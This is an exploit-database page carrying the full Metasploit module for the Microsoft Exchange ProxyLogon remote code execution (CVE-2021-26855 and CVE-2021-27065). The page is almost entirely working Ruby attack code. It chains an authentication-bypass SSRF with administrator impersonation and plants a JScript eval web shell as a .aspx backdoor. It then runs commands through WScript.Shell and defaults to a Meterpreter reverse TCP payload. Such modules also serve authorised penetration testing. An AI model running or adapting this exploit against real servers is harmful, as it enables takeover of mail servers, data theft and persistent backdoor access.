Microsoft Exchange ProxyLogon Remote Code Execution

2021.03.24
Credit: Orange Tsai
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Powershell include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange ProxyLogon RCE', 'Description' => %q{ This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default. }, 'Author' => [ 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC) 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull) 'mekhalleh (RAMELLA S├ębastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise) 'print("")', # https://www.o2oxy.cn/3169.html 'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691 ], 'References' => [ ['CVE', '2021-26855'], ['CVE', '2021-27065'], ['LOGO', 'https://proxylogon.com/images/logo.jpg'], ['URL', 'https://proxylogon.com/'], ['URL', 'http://aka.ms/exchangevulns'], ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'], [ 'URL', 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265' ], ['URL', 'https://www.o2oxy.cn/3169.html'], ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup'] ], 'DisclosureDate' => '2021-03-02', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon', 'HttpClientTimeout' => 60, 'RPORT' => 443, 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Platform' => ['windows'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], 'Privileged' => true, 'Targets' => [ [ 'Windows Powershell', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_powershell, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'windows', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper, 'CmdStagerFlavor' => %i[psh_invokewebrequest], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' } } ], [ 'Windows Command', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD], 'Type' => :windows_command, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'AKA' => ['ProxyLogon'] } ) ) register_options([ OptString.new('EMAIL', [true, 'A known email address for this organization']), OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]), OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]) ]) register_advanced_options([ OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']), OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']), OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']), OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]), OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) ]) end def cmd_windows_generic? datastore['PAYLOAD'] == 'cmd/windows/generic' end def encode_cmd(cmd) cmd.gsub!('\\', '\\\\\\') cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b') end def execute_command(cmd, _opts = {}) cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());" send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(web_directory, @random_filename), 'ctype' => 'application/x-www-form-urlencoded', 'data' => "#{@random_inputname}=#{cmd}" ) end def install_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] input_name = rand_text_alpha(4..8).to_s shell = "http://o/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{input_name}\"],\"unsafe\");}</script>" data = { identity: { __type: 'Identity:ECP', DisplayName: (exploit_info[4][0]).to_s, RawIdentity: (exploit_info[4][1]).to_s }, properties: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', ExternalUrl: shell.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 input_name end def message(msg) "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}" end def patch_sid(sid) ar = sid.to_s.split('-') if ar[-1] != '500' sid = "#{ar[0..6].join('-')}-500" end sid end def random_mapi_id id = "{#{Rex::Text.rand_text_hex(8)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(4)}" id = "#{id}-#{Rex::Text.rand_text_hex(12)}}" id.upcase end def random_ssrf_id # https://en.wikipedia.org/wiki/2,147,483,647 (lol) # max. 2147483647 rand(1941962752..2147483647) end def request_autodiscover(server_name) xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } response = send_http( 'POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", data: soap_autodiscover, ctype: 'text/xml; charset=utf-8' ) case response.body when %r{<ErrorCode>500</ErrorCode>} fail_with(Failure::NotFound, 'No Autodiscover information was found') when %r{<Action>redirectAddr</Action>} fail_with(Failure::NotFound, 'No email address was found') end xml = Nokogiri::XML.parse(response.body) legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty? server = '' xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| type = item.at_xpath('./xmlns:Type', xmlns)&.content if type == 'EXCH' server = item.at_xpath('./xmlns:Server', xmlns)&.content end end fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty? [server, legacy_dn] end # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff def request_mapi(server_name, legacy_dn, server_id) data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" headers = { 'X-RequestType' => 'Connect', 'X-ClientInfo' => random_mapi_id, 'X-ClientApplication' => datastore['MapiClientApp'], 'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}" } sid = '' response = send_http( 'POST', "Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}", data: data, ctype: 'application/mapi-http', headers: headers ) if response.code == 200 sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/ sid = response.body.match(sid_regex).to_s end fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty? sid end def request_oab(server_name, sid, session, canary) data = { filter: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', SelectedView: '', SelectedVDirType: 'OAB' } }, sort: {} }.to_json response = send_http( 'POST', "Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}", data: data, cookie: session, ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 200 data = JSON.parse(response.body) data['d']['Output'].each do |oab| if oab['Server'].downcase == server_name.downcase return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']] end end end [] end def request_proxylogon(server_name, sid) data = "<r at=\"Negotiate\" ln=\"#{datastore['EMAIL'].split('@')[0]}\"><s>#{sid}</s></r>" session_id = '' canary = '' response = send_http( 'POST', "Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}", data: data, ctype: 'text/xml; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(sid), 'msExchTargetMailbox' => patch_sid(sid) } ) if response.code == 241 session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0] canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ... end [session_id, canary] end # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. def run_cve_2021_26855 # request for internal server name. response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}") if response.code != 500 || !response.headers.to_s.include?('X-FEServer') fail_with(Failure::NotFound, 'No \'X-FEServer\' was found') end server_name = response.headers['X-FEServer'] print_status("Internal server name (#{server_name})") # get informations by autodiscover request. print_status(message('Sending autodiscover request')) server_id, legacy_dn = request_autodiscover(server_name) print_status("Server: #{server_id}") print_status("LegacyDN: #{legacy_dn}") # get the user UID using mapi request. print_status(message('Sending mapi request')) sid = request_mapi(server_name, legacy_dn, server_id) print_status("SID: #{sid} (#{datastore['EMAIL']})") # search oab sid, session, canary, oab_id = search_oab(server_name, sid) [server_name, sid, session, canary, oab_id] end # post-auth arbitrary file write. def run_cve_2021_27065(session_info) # set external url (and set the payload). print_status('Prepare the payload on the remote target') input_name = install_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t prepare the payload on the remote target') if input_name.empty? # reset the virtual directory (and write the payload). print_status('Write the payload on the remote target') remote_file = write_payload(session_info) fail_with(Failure::NoAccess, 'Could\'t write the payload on the remote target') if remote_file.empty? # wait a lot. i = 0 while i < datastore['MaxWaitLoop'] received = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(web_directory, remote_file) }) if received && (received.code == 200) break end print_warning("Wait a lot (#{i})") sleep 5 i += 1 end fail_with(Failure::PayloadFailed, 'Could\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302 [input_name, remote_file] end def search_oab(server_name, sid) # request cookies (session and canary) print_status(message('Sending ProxyLogon request')) print_status('Try to get a good msExchCanary (by patching user SID method)') session_id, canary = request_proxylogon(server_name, patch_sid(sid)) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end if oab_id.nil? || oab_id.empty? print_status('Try to get a good msExchCanary (without correcting the user SID)') session_id, canary = request_proxylogon(server_name, sid) if canary session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};" oab_id = request_oab(server_name, sid, session, canary) end end fail_with(Failure::NotFound, 'No \'ASP.NET_SessionId\' was found') if session_id.nil? || session_id.empty? fail_with(Failure::NotFound, 'No \'msExchEcpCanary\' was found') if canary.nil? || canary.empty? fail_with(Failure::NotFound, 'No \'OAB Id\' was found') if oab_id.nil? || oab_id.empty? print_status("ASP.NET_SessionId: #{session_id}") print_status("msExchEcpCanary: #{canary}") print_status("OAB id: #{oab_id[1]} (#{oab_id[0]})") return [sid, session, canary, oab_id] end def send_http(method, ssrf, opts = {}) ssrf = "X-BEResource=#{ssrf};" if opts[:cookie] && !opts[:cookie].empty? opts[:cookie] = "#{ssrf} #{opts[:cookie]}" else opts[:cookie] = ssrf.to_s end opts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil? request = { 'method' => method, 'uri' => @random_uri, 'agent' => datastore['UserAgent'], 'ctype' => opts[:ctype] } request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? received = send_request_cgi(request) fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received received end def soap_autodiscover <<~SOAP <?xml version="1.0" encoding="utf-8"?> <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>#{datastore['EMAIL']}</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> SOAP end def web_directory if datastore['UseAlternatePath'] web_dir = datastore['IISWritePath'].gsub('\\', '/') else web_dir = datastore['ExchangeWritePath'].gsub('\\', '/') end web_dir end def write_payload(exploit_info) # exploit_info: [server_name, sid, session, canary, oab_id] remote_file = "#{rand_text_alpha(4..8)}.aspx" if datastore['UseAlternatePath'] remote_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" else remote_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}" remote_path = "\\\\127.0.0.1\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\#{remote_file}" end data = { identity: { __type: 'Identity:ECP', DisplayName: (exploit_info[4][0]).to_s, RawIdentity: (exploit_info[4][1]).to_s }, properties: { Parameters: { __type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', FilePathName: remote_path.to_s } } }.to_json response = send_http( 'POST', "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}", data: data, cookie: exploit_info[2], ctype: 'application/json; charset=utf-8', headers: { 'msExchLogonMailbox' => patch_sid(exploit_info[1]), 'msExchTargetMailbox' => patch_sid(exploit_info[1]), 'X-vDirObjectId' => (exploit_info[4][1]).to_s } ) return '' if response.code != 200 remote_file end def exploit @proto = (ssl ? 'https' : 'http') @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js") print_status(message('Attempt to exploit for CVE-2021-26855')) exploit_info = run_cve_2021_26855 print_status(message('Attempt to exploit for CVE-2021-27065')) shell_info = run_cve_2021_27065(exploit_info) @random_inputname = shell_info[0] @random_filename = shell_info[1] print_good("Yeeting #{datastore['PAYLOAD']} payload at #{peer}") if datastore['UseAlternatePath'] remote_file = "#{datastore['IISBasePath']}\\#{datastore['IISWritePath']}\\#{@random_filename}" else remote_file = "#{datastore['ExchangeBasePath']}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}\\#{@random_filename}" end register_files_for_cleanup(remote_file) # trigger powa! case target['Type'] when :windows_command vprint_status("Generated payload: #{payload.encoded}") if !cmd_windows_generic? execute_command(payload.encoded) else response = execute_command("cmd /c #{payload.encoded}") print_warning('Dumping command output in response') output = response.body.split('Name :')[0] if output.empty? print_error('Empty response, no command output') return end print_line(output) end when :windows_dropper execute_command(generate_cmdstager(concat_operator: ';').join) when :windows_powershell cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) execute_command(cmd) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top